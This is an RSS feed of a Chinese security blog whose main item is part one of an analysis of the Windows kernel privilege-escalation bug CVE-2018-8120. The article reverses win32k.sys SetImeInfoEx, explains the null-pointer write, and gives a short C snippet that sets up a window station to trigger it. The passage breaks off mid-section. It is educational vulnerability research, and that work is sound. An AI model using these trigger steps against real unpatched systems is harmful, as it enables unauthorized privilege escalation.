<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>鲸落的杂货铺</title>
    <link>https://wechat2rss.xlab.app/feed/0dda9f6157d97813067cd3965f772abc35bfdf4c.xml</link>
    <description>那跑过的昼夜，是孤独的修炼&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (鲸落的杂货铺)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7G07gWy4NQWiaLibmpfK3CvhBkcwFqAwJibyMkxwmul7prQ/0</url>
      <title>鲸落的杂货铺</title>
      <link>https://wechat2rss.xlab.app/feed/0dda9f6157d97813067cd3965f772abc35bfdf4c.xml</link>
    </image>
    <item>
      <title>Windows内核提权漏洞CVE-2018-8120分析 · 下</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247484004&amp;idx=1&amp;sn=ae1ae5ca344c227ee68713d065cb6476</link>
      <description>此为先前对CVE-2018-8120的分析续集，其实很早就写好发布在安全客了，近来比较忙碌，迟迟未补录至个人公众号，有需要的可以跳转至安全客公众号查看，感谢各位师傅的支持～</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-08-28 12:46</span> <span style="display: inline-block;"></span>
</p>

<p>此为先前对CVE-2018-8120的分析续集，其实很早就写好发布在安全客了，近来比较忙碌，迟迟未补录至个人公众号，有需要的可以跳转至安全客公众号查看，感谢各位师傅的支持～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0eeac730&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4QZdwF8Piau8arXLEY89jOMu7wm6hvppz6d2gZgDlXtIEliboJD5QpeZDPz7ib5gzIMs83vm5wibHU4g%2F0%3Fwx_fmt%3Djpeg"/>
</p>






<p><a href="2247484004">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e5581c7a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247484004%26idx%3D1%26sn%3Dae1ae5ca344c227ee68713d065cb6476%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 28 Aug 2021 12:46:00 +0800</pubDate>
    </item>
    <item>
      <title>Windows内核提权漏洞CVE-2018-8120的分析·上</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247484002&amp;idx=1&amp;sn=2d779e66126017998ed14eeb1b831694</link>
      <description>“千古情仇可否折价，一杯都笑纳”  - 《飒》</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲸落</span> <span>2021-06-08 12:40</span> <span style="display: inline-block;"></span>
</p>

<p>“千古情仇可否折价，一杯都笑纳”  - 《飒》</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ee6a00b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3Gzfj3DqN0ic3CHfJiask8nk16r9sNlPmwIOB0WropTSUic4j2AiaR65uMEqYn1A79UDAYGNj5yEt3ic2Xg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><strong style="text-align: center;white-space: normal;text-indent: 34px;font-size: 15px;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="text-align: center;white-space: normal;text-indent: 34px;font-size: 15px;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;height: auto !important;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></p><p style="text-align: center;"><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="17" data-source-title="https://www.anquanke.com/post/id/241057"><section class="js_blockquote_digest"><p>原文首发于安全客 - 安全资讯平台</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2%26nbsp%3B-%26nbsp%3B%E5%AE%89%E5%85%A8%E8%B5%84%E8%AE%AF%E5%B9%B3%E5%8F%B0%3C%2Fp%3E%22%2C%22digestLen%22%3A17%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F241057%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/241057" target="_blank">https://www.anquanke.com/post/id/241057</a></span></section></blockquote><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5995297805642633" data-s="300,640" style="" data-type="jpeg" data-w="1276" src="https://wechat2rss.xlab.app/img-proxy/?k=acafda30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3Gzfj3DqN0ic3CHfJiask8nk16vu8gKsUVhkLEA47Wc4xdZw52ZhXX5ekL6MUJBOm5w8nWqwPQAt6S4g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="text-align: center;font-size: 14px;letter-spacing: 1px;">（图自：微博@</span><span style="text-align: center;letter-spacing: 1px;"><span style="font-family: Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 14px;color: rgb(121, 123, 170);">伊吹鸡腿子</span><span style="font-size: 14px;"> ）</span></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><strong style="color: rgb(54, 41, 47);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></strong></p><h4 style="text-autospace:ideograph-numeric;text-align:center;"><br/></h4><h4 style="text-autospace:ideograph-numeric;text-align:center;"><strong><span style="font-size: 19px;">Windows内核提权漏洞CVE-2018-8120的分析·上</span></strong></h4><p style="text-autospace:ideograph-numeric;text-align:center;"><span style="font-size:14px;"> </span></p><h5 style="text-autospace:ideograph-numeric;"><span style="font-size: 16px;"><strong>背景：</strong></span></h5><p style="text-indent: 28px;"><span style="font-size: 14px;color: rgb(0, 0, 0);">因一次需要提权时，苦于查找安全可行的Exploit，加上一直对二进制漏洞心怀仰慕，所以花了点时间从底层研究一下漏洞原理及漏洞利用的编写，因为是从零开始，在摸索的过程中也踩了不少坑，记录下来，以供借鉴和回顾。</span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(121, 123, 170);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">声明 ：</span></strong></span></h6><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 14px;text-indent: 28px;text-align: justify;"> </span></p><h5 style="text-autospace:ideograph-numeric;"><span style="font-size: 16px;"><strong>工具：</strong></span></h5><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-indent: 28px;"><span style="font-size:14px;">IDA pro</span></p></li><li><p style="text-indent: 28px;"><span style="font-size:14px;">PChunter</span></p></li><li><p style="text-indent: 28px;"><span style="font-size:14px;">Win7x86虚拟机</span></p></li><li><p style="text-indent: 28px;"><span style="font-size:14px;">Visual Studio 2019</span></p></li><li><p style="text-indent: 28px;"><span style="font-size:14px;">WinDBG</span></p></li></ul><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h5 style="text-autospace:ideograph-numeric;"><span style="font-size: 16px;"><strong>提要：</strong></span></h5><p style="text-indent: 28px;"><span style="font-size:14px;">这次挑选了Windows系统CVE-2018-8120权限提升漏洞来着手研究和学习，该漏洞产生于win32k.sys组件，由于该组件中的SetImeInfoEx函数未能正确处理空指针对象，且因该空指针对象可被用户控制，导致任意内存地址写入的漏洞，通过与Bitmaps GDI技术的结合，进一步扩展为任意内存地址读和写，最终可用于权限提升。</span></p><section style="text-align: left;text-indent: 2em;"><span style="font-size:14px;">官方漏洞链接：</span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size:14px;"></span><span style="text-decoration:underline;"><span style="color: rgb(0, 0, 255);"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120" target="_blank">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-8120</a></span></span></section><p><span style="font-size:14px;"> </span></p><h5 style="text-autospace:ideograph-numeric;"><span style="font-size: 17px;"><strong>一、漏洞定位分析</strong></span></h5><p style="text-indent: 28px;"><span style="font-size:14px;">ID根据披露的信息，我们使用IDA Pro来对win32k.sys组件进行反编译以定位相关的漏洞位置。</span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（一）符号文件</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;">“在此之前需要先了解一下“符号文件(Symbol Files)”，符号文件通常以.pdb作为扩展名，是EXE、DLL等二进制文件的调试信息文件，通常来说涵盖了二进制文件的全局变量、局部变量、函数名及入口地址等信息，可以理解为源代码。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">由于符号文件程序包不时地需要更新，微软在2018年4月起，弃用了以往的离线下载方式，转而采用Microsoft公共符号服务器来提供下载。通过设置系统变量“set _NT_SYMBOL_PATH=srv*DownstreamStore*<a href="https://msdl.microsoft.com/download/symbols”，来自动加载符号文件。" target="_blank">https://msdl.microsoft.com/download/symbols”，来自动加载符号文件。</a></span></p><p style="text-indent: 28px;"><span style="font-size:14px;">符号文件详情：</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span><span style="text-decoration:underline;"><span style="color: rgb(0, 0, 255);"><a href="https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols" target="_blank">https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols</a></span></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（二）函数定位及分析</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;">完成对win32k.sys的反编译后，我们在Function Window搜索SetImeInfoEx，随后按F5转化为C Code进而得到SetImeInfoEx的伪源码。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">阅读该方法的代码流程，留意红框圈出处，</span>v3 = *(_DWORD **)(a1 + 20); 其中，a1为输入的参数，由于未对V3做空指针校验而直接调用赋值给V3，导致了非法访问。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span><span style="text-align: center;text-indent: 28px;"></span></p><p><img class="rich_pages" data-ratio="0.4010416666666667" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=4ff5b8be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqDAONibSUeYiayjqDjjHCTSzOeaMfst5EpzAgicYqKlFfD59dWkeFTWa2g%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.3955119214586255" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1426" src="https://wechat2rss.xlab.app/img-proxy/?k=7b1ce3f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqicTnkmHsMAVAOOKsEGOiblvgqY3S0hteyF066zC6opUicLSia1j5uY5aCw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">得知</span>SetImeInfoEx方法存在漏洞，自然就要找到在何处调用了该方法，点击IDA View-A，文件查阅，通过XREF关键字可知，方法NtUserSetImeInfoEx调用了存在漏洞的SetImeInfoEx方法。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.45796737766624845" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1594" src="https://wechat2rss.xlab.app/img-proxy/?k=a92ae208&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqE7nvuwccOtGFgiaskguUQMoV19LUzszS9saz7icGtp4qc0QUp6PRrugQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">通过查看</span>NtUserSetImeInfoEx函数的伪源代码，可知，传入SetImeInfoEx的第一个参数为  v4 = _GetProcessWindowStation(0);</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4617912900575185" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1217" src="https://wechat2rss.xlab.app/img-proxy/?k=f1dda91e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUq8xmHEqgFVRexwzoeTFTPpGs05Z1y8LMCclk23E0KF0CTibiauuUgj0Mg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">通过查阅</span>MSDN微软开发文档（<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation），可知GetProcessWindowStation方法返回当前进程的窗口句柄。" target="_blank">https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation），可知GetProcessWindowStation方法返回当前进程的窗口句柄。</a></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.640625" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=3c9cb9d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUq8cOaBeSgpJ4s6bibJiarVe7N71oicRDEiaUqjCa3LCkEn7W9CG8L929FaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">既然有</span>Get方法，自然也会有Set方法(<a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocesswindowstation)" target="_blank">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setprocesswindowstation)</a></span></p><p style="text-indent: 28px;"><span style="font-size:14px;">SetProcessWindowStation方法，可以将制定的窗口分配给调用的进程，使得进程可以访问窗口中的对象，比方说桌面、剪贴板等。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7838616714697406" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=90835e08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwIRfd5426o4LydUyQpibbUqRJgj49JTHicJicLfyp6Cc5Qdw8wusq92qThgwVNWhmK2G6BKv9hxCR4A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span><br/></p><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">以及</span>Create方法（<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowstationa）" target="_blank">https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-createwindowstationa）</a></span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">经过这番分析，得知可以编写一个</span>exe，该exe通过CreateWindowStation、SetProcesssWindowStation方法为当前进程设置窗口对象，而后调用NtSetUserImeInfoEx方法，进而触发SetImeInfoEx方法，而SetImeInfoEx方法的传参通过GetProcessWindowStation获得，受我们控制，因此，我们可以操纵SetImeInfoEx方法中v3的值。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">链路为：</span>CreateWindowSetProcessWindowStation-&gt;NtUserSetImeInfoEx-&gt;GetProcessWindowStation-&gt;SetImeInfoEx-&gt;v3-&gt;v4-&gt;qmemcpy</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"> </span></p><h5 style="text-autospace:ideograph-numeric;"><span style="font-size: 17px;"><strong>二、漏洞测试</strong></span></h5><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（一）设置窗体</span></strong></h6><p style="text-indent: 28px;text-align: left;"><span style="font-size:14px;"><span style="font-family:等线 Light;">打开</span>Visual Studio 2019 or 其他版本，首先调用CreateWindowStation得到tagWINDOWSTATION对象,随后调用setProcessWindowStation为当前进程设置tagWINDOWSTATION对象</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;windows.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">HWINSTA hSta = CreateWindowStation(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, READ_CONTROL, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">SetProcessWindowStation(hSta);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size:14px;"></span><br/></p><p><span style="font-size:14px;"> </span></p><p><span style="font-size:14px;"><span style="font-family:等线 Light;">以下是</span>tagWINDOWSTATION对象的结构</span><span style="font-size:14px;">(通过WinDBG查看结构体):</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">win32k!tagWINDOWSTATION</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x000</span> dwSessionId      : Uint4B</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x004</span> rpwinstaNext     : Ptr32 tagWINDOWSTATION</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x008</span> rpdeskList       : Ptr32 tagDESKTOP</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x00c</span> pTerm            : Ptr32 tagTERMINAL</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x010</span> dwWSF_Flags      : Uint4B</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x014</span> spklList         : Ptr32 tagKL</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x018</span> ptiClipLock      : Ptr32 tagTHREADINFO</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x01c</span> ptiDrawingClipboard : Ptr32 tagTHREADINFO</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x020</span> spwndClipOpen    : Ptr32 tagWND</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x024</span> spwndClipViewer  : Ptr32 tagWND</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x028</span> spwndClipOwner   : Ptr32 tagWND</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x02c</span> pClipBase        : Ptr32 tagCLIP</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x030</span> cNumClipFormats  : Uint4B</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x034</span> iClipSerialNumber : Uint4B</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x038</span> iClipSequenceNumber : Uint4B</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x03c</span> spwndClipboardListener : Ptr32 tagWND</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x040</span> pGlobalAtomTable : Ptr32 <span class="code-snippet__built_in">Void</span></span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x044</span> luidEndSession   : _LUID</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x04c</span> luidUser         : _LUID</span></code><code><span class="code-snippet_outer">   +<span class="code-snippet__number">0x054</span> psidUser         : Ptr32 <span class="code-snippet__built_in">Void</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">翻阅上图关于</span>SetImeInfoEx函数的</span><span style="font-size:14px;">伪代码</span><span style="font-size:14px;">，其中第十行</span><span style="font-size:14px;">：</span><span style="font-size:14px;">v3 = *(_DWORD **)(a1 + 20);此处20转为16进制为0x014，</span><span style="font-size:14px;">也即获取</span><span style="font-size:14px;">tagWINDOWSTATION</span><span style="font-size:14px;"><span style="font-family:等线 Light;">对象的</span>spliIList成员的值。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">由于</span><span style="font-size:14px;"><span style="font-family:等线 Light;">通过</span>CreateWindowStation初始化得到的tagWINDOWSTATION对象，其偏移量0x014的成员变量tagWINDOWSTATION-&gt;spklList默认为</span><span style="font-size:14px;">NULL。</span></p><section style="text-indent: 28px;text-align: left;margin-left: 0px;margin-right: 0px;"><span style="font-size:14px;"><span style="font-family:等线 Light;">因此通过</span>setProcessWindowStation并调用NtUserSetImeInfoEx-&gt;GetProcessWindowStation-&gt;SetImeInfoEx-&gt;v3 = tagWINDOWSTATION-&gt;spklList</span><span style="font-size:14px;">，</span><span style="font-size:14px;">最终会导引至对空指针进行操作。</span></section><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（二）系统服务</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;">Q：那么问题来了，</span><span style="font-size:14px;">设置好</span><span style="font-size:14px;">窗体对象</span><span style="font-size:14px;"><span style="font-family:等线 Light;">后，要如何调用</span>NtUserSetImeInfoEx方法呢？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：</span><span style="font-size:14px;"><span style="font-family:等线 Light;">由于</span>NtUserSetImeInfoEx方法属于内核方法，用户程序不能直接访问内核空间，但我们可以通过调用系统服务来间接访问内核空间中的数据和方法。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：什么是系统服务？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：系统服务，是由操作系统提供的一组内核函数，API可以间接或者直接的调用系统服务，而操作系统以动态链接库（DLL）的形式提供API，比方常见的ntdll.dll、kernel32,dll</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">Q：系统服务如何实现让用户模式下的程序调用内核函数？</span></p><p style="text-indent: 28px;"><span style="font-size:14px;">A：</span><span style="font-size:14px;">当调用系统服务时，调用线程将会从用户模式切换为内核模式，等待调用结束后再回归用户模式，这个过程称之为上下文切换。通常通过软中断或快速系统调用实现上下文切换。</span></p><p style="text-indent: 28px;"><span style="font-size:14px;"><br/></span></p><h6 style="text-autospace:ideograph-numeric;"><strong><span style="font-size: 16px;">（三）系统服务描述表</span></strong></h6><p style="text-indent: 28px;"><span style="font-size:14px;"><span style="font-family:等线 